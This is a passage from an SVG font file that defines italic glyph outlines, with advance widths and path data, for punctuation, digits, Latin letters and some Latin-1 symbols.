<glyph unicode="&#x26;" horiz-adv-x="1411" d="M66 350q0 147 85.5 254t286.5 205q-88 151 -88 283q0 180 112.5 286.5t297.5 106.5q160 0 252 -81t92 -218q0 -129 -89.5 -230t-293.5 -192l235 -326q109 112 181 295h233q-113 -270 -297 -454l205 -279h-277l-94 131q-106 -80 -211 -115.5t-229 -35.5 q-190 0 -295.5 97.5t-105.5 272.5zM305 371q0 -86 56 -140.5t147 -54.5q77 0 147 27t144 82l-264 381q-133 -74 -181.5 -141.5t-48.5 -153.5zM567 1102q0 -109 62 -201q147 75 199.5 133.5t52.5 126.5q0 66 -36 101.5t-97 35.5q-87 0 -134 -54t-47 -142z" />
<glyph unicode="'" horiz-adv-x="483" d="M213 934l72 528h231l-151 -528h-152z" />
<glyph unicode="(" horiz-adv-x="639" d="M78 276q0 343 124.5 632.5t379.5 553.5h209q-498 -548 -498 -1190q0 -329 115 -596h-183q-147 261 -147 600z" />
<glyph unicode=")" horiz-adv-x="639" d="M-154 -324q498 548 498 1190q0 327 -115 596h183q147 -265 147 -602q0 -342 -123 -629.5t-381 -554.5h-209z" />
<glyph unicode="*" horiz-adv-x="1122" d="M193 1167l71 195l354 -178l37 383l213 -43l-116 -367l403 23l-12 -205l-367 45l170 -361l-205 -61l-102 371l-227 -312l-162 144l293 266z" />
<glyph unicode="+" d="M117 631v180h379v381h180v-381h377v-180h-377v-375h-180v375h-379z" />
<glyph unicode="," horiz-adv-x="530" d="M-102 -264q105 238 200 502h236l8 -23q-125 -260 -266 -479h-178z" />
<glyph unicode="-" horiz-adv-x="649" d="M47 446l45 203h502l-45 -203h-502z" />
<glyph unicode="." horiz-adv-x="551" d="M33 94q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5z" />
<glyph unicode="/" horiz-adv-x="788" d="M-92 0l811 1462h233l-811 -1462h-233z" />
<glyph unicode="0" d="M92 471q0 284 83 526t222.5 365t321.5 123q187 0 284 -118.5t97 -354.5q0 -306 -79 -546.5t-219 -363t-325 -122.5q-194 0 -289.5 127.5t-95.5 363.5zM330 469q0 -143 39 -218t129 -75q100 0 182.5 113.5t132 316.5t49.5 414q0 268 -162 268q-97 0 -180 -112 t-136.5 -312.5t-53.5 -394.5z" />
<glyph unicode="1" d="M242 1145l508 317h198l-311 -1462h-238l189 870q28 150 82 324q-57 -55 -135 -102l-187 -117z" />
<glyph unicode="2" d="M-18 0l36 180l471 422q176 159 238.5 231t90.5 133.5t28 131.5q0 85 -49.5 134.5t-139.5 49.5q-70 0 -139 -30t-170 -109l-115 160q120 97 231 138.5t228 41.5q181 0 288 -93t107 -251q0 -108 -39 -201t-123 -190.5t-284 -268.5l-311 -264v-8h622l-41 -207h-929z" />
<glyph unicode="3" d="M31 59v215q84 -49 185.5 -75.5t195.5 -26.5q157 0 245 71.5t88 196.5q0 219 -278 219h-133l37 183h106q164 0 267.5 74.5t103.5 199.5q0 79 -49.5 124.5t-139.5 45.5q-72 0 -146.5 -25.5t-162.5 -84.5l-104 161q120 81 225.5 113.5t226.5 32.5q183 0 286 -88.5 t103 -241.5q0 -158 -99 -264t-269 -137v-7q127 -24 196.5 -106t69.5 -205q0 -133 -68 -236.5t-196.5 -160.5t-304.5 -57q-225 0 -385 79z" />
<glyph unicode="4" d="M-4 317l37 197l803 952h254l-201 -952h201l-43 -197h-201l-68 -317h-229l69 317h-622zM262 514h397l68 309q31 136 100 377h-8q-51 -86 -135 -186z" />
<glyph unicode="5" d="M53 59v217q167 -100 342 -100q173 0 270 83t97 230q0 105 -62 168.5t-188 63.5q-95 0 -225 -35l-88 68l200 708h713l-45 -209h-506l-106 -364q93 18 155 18q181 0 288.5 -103.5t107.5 -285.5q0 -161 -70 -283t-204 -188.5t-324 -66.5q-214 0 -355 79z" />
<glyph unicode="6" d="M111 446q0 205 60.5 406t165 343t251 215t342.5 73q117 0 203 -25l-43 -194q-72 22 -181 22q-205 0 -337 -129.5t-197 -392.5h6q125 170 326 170q156 0 243.5 -99t87.5 -272q0 -162 -68.5 -301t-185.5 -210.5t-270 -71.5q-194 0 -298.5 120t-104.5 346zM340 418 q0 -110 49.5 -177t140.5 -67q81 0 143 48.5t96 134.5t34 188q0 200 -178 200q-51 0 -95.5 -19t-79 -48t-58.5 -64.5t-39 -82t-13 -113.5z" />
<glyph unicode="7" d="M125 0l754 1257h-674l43 205h932l-33 -168l-758 -1294h-264z" />
<glyph unicode="8" d="M76 348q0 297 368 432q-91 70 -130.5 145t-39.5 162q0 179 127 288.5t330 109.5q179 0 283 -89t104 -239q0 -132 -79 -229.5t-248 -163.5q120 -78 172.5 -165.5t52.5 -201.5q0 -121 -61.5 -216.5t-175.5 -148t-271 -52.5q-203 0 -317.5 100t-114.5 268zM311 369 q0 -93 59 -149t158 -56q115 0 184.5 64t69.5 167q0 91 -48.5 157.5t-139.5 119.5q-149 -54 -216 -126.5t-67 -176.5zM504 1096q0 -83 39 -137t104 -93q115 43 177.5 105t62.5 157q0 81 -48 126.5t-128 45.5q-93 0 -150 -56t-57 -148z" />
<glyph unicode="9" d="M92 12v207q121 -43 236 -43q188 0 306 123t177 389h-6q-113 -160 -305 -160q-165 0 -255.5 102t-90.5 288q0 156 67 289t186.5 204.5t274.5 71.5q192 0 294.5 -119.5t102.5 -345.5q0 -205 -58 -414.5t-152.5 -349t-226 -207t-310.5 -67.5q-133 0 -240 32zM387 932 q0 -105 46 -160t134 -55q117 0 198 94t81 240q0 108 -48 172.5t-134 64.5q-82 0 -145.5 -47t-97.5 -130t-34 -179z" />
<glyph unicode=":" horiz-adv-x="551" d="M33 94q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5zM205 948q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -79 -48.5 -130t-125.5 -51q-66 0 -96.5 35.5t-30.5 87.5z" />
<glyph unicode=";" horiz-adv-x="551" d="M-100 -264q95 214 198 502h236l8 -23q-125 -260 -266 -479h-176zM205 948q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -79 -48.5 -130t-125.5 -51q-66 0 -96.5 35.5t-30.5 87.5z" />
<glyph unicode="&#x3c;" d="M115 651v121l936 488v-195l-697 -344l697 -303v-197z" />
<glyph unicode="=" d="M117 430v180h936v-180h-936zM117 831v179h936v-179h-936z" />
<glyph unicode="&#x3e;" d="M115 221v197l694 303l-694 344v195l936 -488v-121z" />
<glyph unicode="?" horiz-adv-x="907" d="M162 94q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -79 -49 -129t-125 -50q-66 0 -96.5 34.5t-30.5 86.5zM186 1370q207 113 410 113q171 0 269 -85.5t98 -242.5q0 -120 -63.5 -217.5t-231.5 -216.5q-104 -74 -150 -133t-61 -144h-197q18 133 71.5 220.5 t176.5 177.5q107 77 146.5 117t58 80.5t18.5 88.5q0 70 -42.5 114t-123.5 44q-77 0 -150 -27.5t-151 -64.5z" />
<glyph unicode="@" horiz-adv-x="1743" d="M100 502q0 270 122.5 489t343 344t493.5 125q200 0 346 -74.5t223.5 -214.5t77.5 -325q0 -176 -59.5 -322.5t-166.5 -229.5t-239 -83q-98 0 -150.5 46t-64.5 120h-6q-101 -166 -277 -166q-123 0 -189.5 78.5t-66.5 218.5q0 151 67.5 279.5t188 203t263.5 74.5 q52 0 94.5 -5t79.5 -13t129 -39l-101 -392q-30 -114 -30 -159q0 -92 79 -92q72 0 134 66.5t97.5 174.5t35.5 230q0 228 -128.5 347.5t-363.5 119.5q-214 0 -385 -99.5t-266.5 -281.5t-95.5 -406q0 -259 140.5 -401t391.5 -142q200 0 430 86v-155q-219 -90 -454 -90 q-210 0 -367 83.5t-241.5 239.5t-84.5 365zM676 522q0 -157 112 -157q82 0 141.5 72t100.5 220l64 240q-53 16 -105 16q-86 0 -158.5 -53.5t-113.5 -144t-41 -193.5z" />
<glyph unicode="A" horiz-adv-x="1210" d="M-121 0l783 1464h274l166 -1464h-234l-41 406h-485l-209 -406h-254zM446 614h365q-40 416 -45.5 503.5t-5.5 139.5q-55 -139 -142 -307z" />
<glyph unicode="B" horiz-adv-x="1247" d="M70 0l309 1462h399q222 0 335.5 -84t113.5 -248q0 -146 -86.5 -243t-239.5 -127v-8q108 -28 167.5 -103.5t59.5 -183.5q0 -217 -150 -341t-417 -124h-491zM348 201h223q147 0 230.5 68t83.5 194q0 98 -60 149.5t-176 51.5h-200zM489 858h199q139 0 215 60.5t76 171.5 q0 172 -223 172h-181z" />
<glyph unicode="C" horiz-adv-x="1225" d="M135 545q0 260 105.5 483t281.5 339t402 116q217 0 389 -92l-94 -195q-63 34 -134 58t-161 24q-154 0 -275 -89t-193.5 -259.5t-72.5 -374.5q0 -180 82.5 -275.5t243.5 -95.5q141 0 329 68v-205q-180 -67 -374 -67q-248 0 -388.5 148.5t-140.5 416.5z" />
<glyph unicode="D" horiz-adv-x="1374" d="M70 0l309 1462h369q271 0 417 -145t146 -424q0 -271 -100 -473t-291 -311t-449 -109h-401zM348 201h135q177 0 309 86t202.5 242t70.5 356q0 184 -88 280.5t-256 96.5h-146z" />
<glyph unicode="E" horiz-adv-x="1077" d="M70 0l309 1462h776l-43 -205h-539l-84 -395h502l-41 -203h-504l-96 -456h539l-43 -203h-776z" />
<glyph unicode="F" horiz-adv-x="1026" d="M70 0l309 1462h774l-43 -205h-537l-96 -454h502l-45 -203h-500l-127 -600h-237z" />
<glyph unicode="G" horiz-adv-x="1399" d="M135 539q0 264 102.5 483t290 340t426.5 121q111 0 213 -20.5t205 -69.5l-90 -203q-174 86 -334 86q-158 0 -287 -90.5t-203.5 -258t-74.5 -372.5q0 -183 89 -277t253 -94q109 0 215 33l80 371h-277l43 205h512l-157 -736q-112 -40 -218.5 -58.5t-238.5 -18.5 q-261 0 -405 146t-144 413z" />
<glyph unicode="H" horiz-adv-x="1411" d="M70 0l309 1462h237l-127 -598h566l127 598h237l-309 -1462h-238l140 659h-566l-139 -659h-237z" />
<glyph unicode="I" horiz-adv-x="608" d="M70 0l311 1462h235l-311 -1462h-235z" />
<glyph unicode="J" horiz-adv-x="612" d="M-322 -383l5 201q84 -21 153 -21q201 0 254 250l299 1415h238l-305 -1446q-46 -217 -161.5 -320.5t-312.5 -103.5q-104 0 -170 25z" />
<glyph unicode="K" horiz-adv-x="1198" d="M70 0l309 1462h237l-151 -706l141 166l492 540h284l-616 -669l321 -793h-262l-252 655l-149 -100l-117 -555h-237z" />
<glyph unicode="L" horiz-adv-x="1016" d="M70 0l309 1462h237l-266 -1257h539l-43 -205h-776z" />
<glyph unicode="M" horiz-adv-x="1757" d="M68 0l309 1462h323l109 -1149h6l606 1149h344l-305 -1462h-227l182 872q39 186 86 342h-6l-643 -1214h-205l-115 1214h-6q-9 -118 -55 -340l-184 -874h-219z" />
<glyph unicode="N" horiz-adv-x="1491" d="M68 0l309 1462h268l399 -1149h7q6 54 31 192.5t40 203.5l160 753h219l-309 -1462h-260l-410 1163h-6l-10 -69q-24 -149 -35.5 -212.5t-183.5 -881.5h-219z" />
<glyph unicode="O" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -279 -95 -497t-261.5 -331.5t-386.5 -113.5q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 95.5t172 265t61.5 375.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5z" />
<glyph unicode="P" horiz-adv-x="1174" d="M70 0l309 1462h334q229 0 345 -100.5t116 -300.5q0 -248 -169.5 -381t-472.5 -133h-110l-115 -547h-237zM465 748h94q178 0 275.5 79.5t97.5 225.5q0 109 -58.5 159t-179.5 50h-119z" />
<glyph unicode="Q" horiz-adv-x="1485" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q251 0 390.5 -149t139.5 -414q0 -322 -130 -563t-355 -332l264 -375h-289l-202 328h-31q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q138 0 248.5 94t172 263.5t61.5 378.5q0 170 -79 265t-223 95 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5z" />
<glyph unicode="R" horiz-adv-x="1206" d="M70 0l309 1462h338q223 0 342 -94.5t119 -290.5q0 -165 -86.5 -278.5t-257.5 -165.5l249 -633h-260l-207 584h-186l-123 -584h-237zM473 782h123q170 0 254 75t84 206q0 105 -59 151t-183 46h-119z" />
<glyph unicode="S" horiz-adv-x="1057" d="M39 55v224q173 -97 350 -97q137 0 216 58.5t79 162.5q0 69 -41 122.5t-172 136.5q-105 67 -155 122t-76.5 120.5t-26.5 144.5q0 128 61.5 227t174 153t253.5 54q205 0 381 -92l-86 -191q-161 78 -295 78q-109 0 -175 -58.5t-66 -152.5q0 -47 15 -82.5t46.5 -66 t134.5 -95.5q155 -97 214 -187.5t59 -207.5q0 -210 -144.5 -329t-398.5 -119q-210 0 -348 75z" />
<glyph unicode="T" horiz-adv-x="1053" d="M176 1257l45 205h998l-43 -205h-381l-267 -1257h-237l264 1257h-379z" />
<glyph unicode="U" horiz-adv-x="1399" d="M152 391q0 83 20 170l193 901h237l-192 -905q-21 -88 -21 -158q0 -102 59.5 -158.5t180.5 -56.5q145 0 230 80.5t124 261.5l199 936h237l-202 -956q-56 -267 -208 -396.5t-403 -129.5q-217 0 -335.5 106t-118.5 305z" />
<glyph unicode="V" horiz-adv-x="1165" d="M186 1462h232l74 -905q9 -103 11 -233l-1 -76h4q70 178 137 309l455 905h254l-764 -1462h-258z" />
<glyph unicode="W" horiz-adv-x="1788" d="M203 1462h229l19 -850q0 -136 -13 -346h6q83 221 142 355l387 841h225l31 -839l3 -169l-3 -188h8q28 88 70 197.5t61 152.5l358 846h246l-655 -1462h-258l-37 842l-6 185l4 106h-6q-47 -144 -117 -291l-385 -842h-256z" />
<glyph unicode="X" horiz-adv-x="1151" d="M-111 0l586 770l-250 692h246l178 -540l402 540h266l-551 -710l274 -752h-256l-192 592l-438 -592h-265z" />
<glyph unicode="Y" horiz-adv-x="1092" d="M186 1462h242l154 -669l432 669h266l-623 -913l-114 -549h-238l119 553z" />
<glyph unicode="Z" horiz-adv-x="1092" d="M-39 0l33 168l850 1087h-598l43 207h897l-35 -172l-852 -1085h645l-43 -205h-940z" />
<glyph unicode="[" horiz-adv-x="631" d="M-27 -324l381 1786h430l-39 -176h-221l-303 -1433h221l-39 -177h-430z" />
<glyph unicode="\" horiz-adv-x="788" d="M221 1462h207l219 -1462h-209z" />
<glyph unicode="]" horiz-adv-x="631" d="M-143 -324l37 177h219l305 1433h-221l39 176h430l-381 -1786h-428z" />
<glyph unicode="^" horiz-adv-x="1069" d="M37 537l608 933h127l272 -933h-184l-188 690l-434 -690h-201z" />
<glyph unicode="_" horiz-adv-x="813" d="M-188 -324l30 140h817l-30 -140h-817z" />
<glyph unicode="`" horiz-adv-x="1135" d="M541 1548v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="a" horiz-adv-x="1186" d="M94 367q0 202 69.5 378t191.5 278.5t268 102.5q97 0 167 -45.5t109 -132.5h10l62 158h180l-236 -1106h-182l21 176h-6q-158 -196 -349 -196q-141 0 -223 101.5t-82 285.5zM332 373q0 -102 40.5 -152.5t112.5 -50.5q82 0 161 77.5t130 207.5t51 284q0 88 -47 141.5 t-123 53.5q-85 0 -160 -77t-120 -209.5t-45 -274.5z" />
<glyph unicode="b" horiz-adv-x="1200" d="M47 0l330 1556h235l-71 -333q-13 -63 -38 -156.5t-40 -140.5h8q90 113 165 156.5t161 43.5q145 0 226 -103.5t81 -285.5q0 -202 -69.5 -379.5t-190.5 -277.5t-266 -100q-98 0 -168.5 45t-110.5 131h-10l-64 -156h-178zM369 373q0 -96 46.5 -149.5t131.5 -53.5t159 78.5 t117 210t43 274.5q0 201 -155 201q-81 0 -162 -80t-130.5 -210.5t-49.5 -270.5z" />
<glyph unicode="c" horiz-adv-x="954" d="M94 389q0 207 73.5 376.5t206.5 265t302 95.5q164 0 297 -61l-70 -184q-122 53 -221 53q-150 0 -250 -153.5t-100 -379.5q0 -111 56 -171t155 -60q74 0 138.5 22t129.5 54v-195q-140 -71 -305 -71q-196 0 -304 106t-108 303z" />
<glyph unicode="d" horiz-adv-x="1198" d="M94 369q0 205 71.5 383t191.5 276t266 98q179 0 268 -178h8q13 146 37 250l76 358h233l-330 -1556h-184l19 176h-7q-88 -106 -170 -151t-174 -45q-143 0 -224 101.5t-81 287.5zM332 373q0 -203 157 -203q82 0 162.5 82t129 214t48.5 267q0 91 -43.5 146t-132.5 55 q-85 0 -159 -77t-118 -211t-44 -273z" />
<glyph unicode="e" horiz-adv-x="1075" d="M94 401q0 198 77.5 368.5t210 263.5t296.5 93q161 0 250.5 -72.5t89.5 -205.5q0 -182 -166.5 -284.5t-474.5 -102.5h-43l-2 -31v-29q0 -111 56.5 -174t168.5 -63q72 0 143 19t168 65v-187q-96 -44 -176.5 -62.5t-179.5 -18.5q-197 0 -307.5 111t-110.5 310zM362 633h29 q188 0 294 53.5t106 151.5q0 51 -32 79.5t-95 28.5q-96 0 -180.5 -86t-121.5 -227z" />
<glyph unicode="f" horiz-adv-x="702" d="M-225 -279q64 -20 114 -20q134 0 177 205l217 1022h-179l21 106l194 76l21 92q44 198 134.5 281.5t256.5 83.5q115 0 211 -43l-61 -176q-74 28 -136 28q-69 0 -110.5 -43t-63.5 -141l-18 -86h229l-37 -178h-229l-223 -1053q-40 -189 -131 -278t-238 -89q-90 0 -149 23 v190z" />
<glyph unicode="g" horiz-adv-x="1067" d="M-121 -211q0 103 69.5 178t223.5 127q-76 45 -76 127q0 69 46.5 119.5t146.5 97.5q-135 81 -135 252q0 196 122.5 316t323.5 120q80 0 160 -20h383l-31 -137l-192 -33q28 -58 28 -137q0 -193 -119 -306.5t-319 -113.5q-52 0 -92 8q-111 -40 -111 -104q0 -38 31.5 -52 t91.5 -22l127 -16q176 -22 252 -87.5t76 -187.5q0 -196 -151 -303t-429 -107q-203 0 -314.5 75t-111.5 206zM92 -184q0 -65 55.5 -103.5t169.5 -38.5q163 0 255 54t92 155q0 51 -45 80t-158 41l-137 14q-112 -18 -172 -71t-60 -131zM377 680q0 -71 35.5 -109.5t101.5 -38.5 q65 0 112.5 39t74 107t26.5 149q0 142 -133 142q-65 0 -114 -38.5t-76 -105t-27 -145.5z" />
<glyph unicode="h" horiz-adv-x="1208" d="M47 0l330 1556h235l-57 -262q-27 -126 -73 -293l-19 -75h8q84 106 168.5 153t177.5 47q136 0 208.5 -77.5t72.5 -221.5q0 -76 -23 -174l-139 -653h-234l142 672q18 90 18 127q0 135 -129 135q-112 0 -209.5 -125t-142.5 -342l-98 -467h-236z" />
<glyph unicode="i" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236zM330 1378q0 68 39 110t110 42q53 0 86 -26.5t33 -80.5q0 -71 -40 -112t-105 -41q-53 0 -88 26t-35 82z" />
<glyph unicode="j" horiz-adv-x="563" d="M-262 -279q64 -20 117 -20q131 0 170 186l260 1219h233l-266 -1247q-38 -181 -127.5 -266t-237.5 -85q-90 0 -149 23v190zM332 1378q0 68 38 110t109 42q54 0 86.5 -26.5t32.5 -80.5q0 -71 -40 -112t-105 -41q-53 0 -87 25.5t-34 82.5z" />
<glyph unicode="k" horiz-adv-x="1081" d="M47 0l330 1556h235q-135 -627 -159.5 -729.5t-59.5 -226.5h4l490 506h272l-483 -485l291 -621h-262l-209 471l-136 -96l-77 -375h-236z" />
<glyph unicode="l" horiz-adv-x="563" d="M47 0l330 1556h235l-331 -1556h-234z" />
<glyph unicode="m" horiz-adv-x="1819" d="M47 0l236 1106h184l-21 -205h9q148 225 352 225q220 0 254 -235h8q75 116 170.5 175.5t198.5 59.5q133 0 202.5 -76.5t69.5 -215.5q0 -64 -22 -181l-140 -653h-235l143 672q19 95 19 133q0 129 -121 129q-108 0 -201.5 -124t-136.5 -329l-101 -481h-235l143 672 q17 82 17 127q0 135 -117 135q-110 0 -203.5 -127t-138.5 -338l-98 -469h-236z" />
<glyph unicode="n" horiz-adv-x="1208" d="M47 0l236 1106h184l-21 -205h9q83 118 171 171.5t191 53.5q134 0 207.5 -76t73.5 -216q0 -69 -23 -181l-137 -653h-236l142 672q18 90 18 131q0 131 -129 131q-72 0 -142 -57t-126 -164.5t-84 -243.5l-98 -469h-236z" />
<glyph unicode="o" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5z" />
<glyph unicode="p" horiz-adv-x="1200" d="M-55 -492l338 1598h184l-21 -188h9q157 208 344 208q143 0 224 -103t81 -286q0 -204 -70 -381.5t-190.5 -276.5t-265.5 -99q-181 0 -269 176h-10q-7 -97 -25 -185l-96 -463h-233zM369 373q0 -96 46.5 -149.5t131.5 -53.5t159 78.5t117 210t43 274.5q0 201 -155 201 q-81 0 -161 -79.5t-130.5 -210.5t-50.5 -271z" />
<glyph unicode="q" horiz-adv-x="1198" d="M94 367q0 208 73 387t192.5 275.5t265.5 96.5q183 0 274 -178h10l64 158h178l-340 -1598h-233l75 349q12 56 43.5 180t38.5 141h-8q-84 -108 -164 -153t-170 -45q-139 0 -219 102.5t-80 284.5zM332 373q0 -203 160 -203q80 0 159 81t127.5 213t48.5 269q0 94 -45.5 147.5 t-126.5 53.5q-86 0 -160 -77.5t-118.5 -209.5t-44.5 -274z" />
<glyph unicode="r" horiz-adv-x="836" d="M47 0l236 1106h184l-21 -205h9q83 120 166 172.5t176 52.5q62 0 108 -12l-51 -219q-54 14 -102 14q-126 0 -225 -113t-138 -296l-106 -500h-236z" />
<glyph unicode="s" horiz-adv-x="922" d="M14 47v203q153 -90 312 -90q97 0 157 40t60 109q0 51 -34.5 87.5t-141.5 97.5q-125 67 -176.5 136.5t-51.5 164.5q0 155 107 243t289 88q196 0 346 -84l-76 -176q-140 76 -266 76q-73 0 -118.5 -33t-45.5 -92q0 -45 33 -80t135 -90q105 -59 149 -101t67 -91.5t23 -114.5 q0 -173 -118 -266.5t-328 -93.5q-190 0 -322 67z" />
<glyph unicode="t" horiz-adv-x="752" d="M92 928l21 110l190 82l129 232h146l-52 -246h279l-39 -178h-277l-122 -572q-13 -55 -13 -92q0 -43 25 -68.5t76 -25.5q68 0 151 31v-178q-35 -17 -95 -30t-120 -13q-274 0 -274 247q0 57 16 131l121 570h-162z" />
<glyph unicode="u" horiz-adv-x="1208" d="M111 274q0 63 12 124.5t24 123.5l123 584h236l-129 -610q-31 -141 -31 -193q0 -133 127 -133q72 0 143 57t126 162.5t85 247.5l99 469h233l-233 -1106h-185l21 205h-8q-82 -116 -171 -170.5t-192 -54.5q-134 0 -207 76t-73 218z" />
<glyph unicode="v" horiz-adv-x="997" d="M100 1106h232l55 -598q14 -159 14 -297h7q28 74 70 165t65 132l311 598h250l-598 -1106h-275z" />
<glyph unicode="w" horiz-adv-x="1540" d="M121 1106h221l13 -646q-2 -87 -11 -245h6q66 176 109 272l278 619h254l19 -604l1 -53l-3 -234h6q17 50 57 158.5t63.5 163.5t251.5 569h244l-518 -1106h-268l-19 627l-1 70l3 200q-25 -62 -51.5 -125t-345.5 -772h-262z" />
<glyph unicode="x" horiz-adv-x="1032" d="M-86 0l475 569l-231 537h245l144 -373l287 373h274l-461 -549l248 -557h-246l-160 387l-305 -387h-270z" />
<glyph unicode="y" horiz-adv-x="1004" d="M-170 -285q75 -16 125 -16q74 0 134 43.5t124 155.5l51 92l-164 1116h232l63 -531q9 -62 16 -174.5t7 -181.5h6q86 215 135 313l293 574h254l-688 -1280q-90 -165 -196 -241.5t-249 -76.5q-76 0 -143 19v188z" />
<glyph unicode="z" horiz-adv-x="920" d="M-39 0l29 147l635 781h-439l39 178h705l-37 -170l-623 -758h486l-37 -178h-758z" />
<glyph unicode="{" horiz-adv-x="721" d="M8 485l39 187q120 0 191.5 42.5t93.5 143.5l59 275q28 134 73 201.5t120 97.5t198 30h60l-41 -184q-96 0 -139.5 -34t-61.5 -116l-70 -309q-24 -108 -87 -170.5t-179 -79.5v-6q160 -45 160 -215q0 -38 -16 -121l-43 -194q-11 -48 -11 -74q0 -51 32.5 -74.5t109.5 -23.5 v-185h-39q-316 0 -316 236q0 61 17 133l45 201q14 65 14 98q0 141 -209 141z" />
<glyph unicode="|" d="M498 -481v2033h178v-2033h-178z" />
<glyph unicode="}" horiz-adv-x="721" d="M-88 -141q106 2 152.5 36.5t64.5 114.5l70 309q24 109 87 170t179 78v6q-158 48 -158 215q0 55 17 121l43 197q10 44 10 74q0 58 -43 78t-121 20l35 184h22q318 0 318 -235q0 -61 -17 -133l-45 -203q-14 -65 -14 -98q0 -142 209 -142l-39 -186q-121 0 -192 -42t-93 -142 l-63 -306q-34 -165 -123.5 -232t-269.5 -67h-29v183z" />
<glyph unicode="~" d="M111 571v191q100 108 249 108q64 0 118.5 -12t146.5 -51q70 -30 115 -42.5t94 -12.5q50 0 112.5 31t120.5 89v-190q-103 -111 -250 -111q-63 0 -124 16.5t-138 49.5q-76 32 -119.5 43.5t-91.5 11.5q-51 0 -112 -31t-121 -90z" />
<glyph unicode="&#xa1;" horiz-adv-x="557" d="M-45 -373l266 1018h174l-166 -1018h-274zM221 936q0 82 49 132t127 50q65 0 95 -35.5t30 -89.5q0 -80 -47 -130t-127 -50q-59 0 -93 31.5t-34 91.5z" />
<glyph unicode="&#xa2;" d="M195 586q0 190 63.5 351t178 260.5t261.5 121.5l35 164h156l-37 -164q124 -12 221 -57l-69 -185q-125 53 -222 53q-99 0 -180 -71.5t-125.5 -194.5t-44.5 -266q0 -111 56 -171t155 -60q74 0 138.5 21.5t129.5 53.5v-194q-133 -69 -293 -74l-40 -194h-156l45 213 q-132 34 -202 134.5t-70 258.5z" />
<glyph unicode="&#xa3;" d="M-18 0l38 193q200 45 250 276l35 164h-196l36 172h197l61 299q38 185 153 282t300 97q188 0 352 -86l-88 -183q-143 74 -258 74q-185 0 -227 -205l-57 -278h333l-34 -172h-336l-33 -152q-21 -98 -68.5 -165t-130.5 -109h690l-45 -207h-972z" />
<glyph unicode="&#xa4;" d="M141 1057l119 119l127 -127q102 61 207 61q108 0 207 -63l127 129l121 -117l-129 -129q61 -99 61 -207q0 -114 -61 -209l127 -125l-119 -119l-127 127q-95 -59 -207 -59q-120 0 -207 59l-127 -125l-117 119l127 125q-61 95 -61 207q0 110 61 205zM377 723 q0 -91 62.5 -154t154.5 -63q91 0 156 62t65 155t-65 156t-156 63q-92 0 -154.5 -64t-62.5 -155z" />
<glyph unicode="&#xa5;" d="M106 244l33 155h273l30 148h-272l35 155h211l-199 760h232l145 -669l432 669h248l-518 -760h217l-35 -155h-274l-31 -148h274l-33 -155h-272l-53 -244h-221l51 244h-273z" />
<glyph unicode="&#xa6;" d="M498 315h178v-796h-178v796zM498 758v794h178v-794h-178z" />
<glyph unicode="&#xa7;" horiz-adv-x="995" d="M39 53v187q152 -93 319 -93q116 0 174 40.5t58 111.5q0 43 -39 79.5t-141 84.5q-130 60 -189 131.5t-59 169.5q0 188 219 307q-47 32 -78 82t-31 115q0 138 111.5 220.5t296.5 82.5q178 0 332 -78l-68 -158q-62 29 -129.5 50.5t-144.5 21.5q-86 0 -134.5 -34.5 t-48.5 -94.5q0 -43 36.5 -76.5t148.5 -83.5q127 -56 186.5 -127.5t59.5 -167.5q0 -92 -52.5 -171t-160.5 -140q102 -76 102 -193q0 -157 -123 -245t-330 -88q-188 0 -315 67zM358 793q0 -61 46.5 -104.5t173.5 -100.5q62 36 99.5 90.5t37.5 114.5t-49.5 104.5t-155.5 89.5 q-69 -26 -110.5 -79t-41.5 -115z" />
<glyph unicode="&#xa8;" horiz-adv-x="1135" d="M426 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM809 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M131 731q0 200 100 375t275 276t377 101q199 0 373.5 -99t276 -275.5t101.5 -377.5q0 -199 -98.5 -373t-272.5 -276t-380 -102q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM254 731q0 -168 83 -312.5t229 -230.5t317 -86q173 0 319.5 87t227.5 231.5t81 310.5 q0 165 -82 310.5t-227.5 232t-318.5 86.5q-168 0 -314.5 -84.5t-230.5 -231t-84 -313.5zM502 727q0 216 113.5 340.5t312.5 124.5q138 0 266 -66l-68 -147q-106 55 -196 55q-113 0 -175.5 -76t-62.5 -231q0 -301 238 -301q47 0 112 16t109 35v-158q-117 -51 -240 -51 q-197 0 -303 123.5t-106 335.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="729" d="M160 1016q0 128 47 238.5t122.5 167.5t168.5 57q113 0 166 -103h6l39 90h118l-147 -684h-123l10 105h-4q-50 -62 -98 -89.5t-109 -27.5q-91 0 -143.5 66t-52.5 180zM319 1022q0 -125 93 -125q50 0 97.5 48t77 127.5t29.5 158.5q0 119 -102 119q-82 0 -138.5 -97.5 t-56.5 -230.5z" />
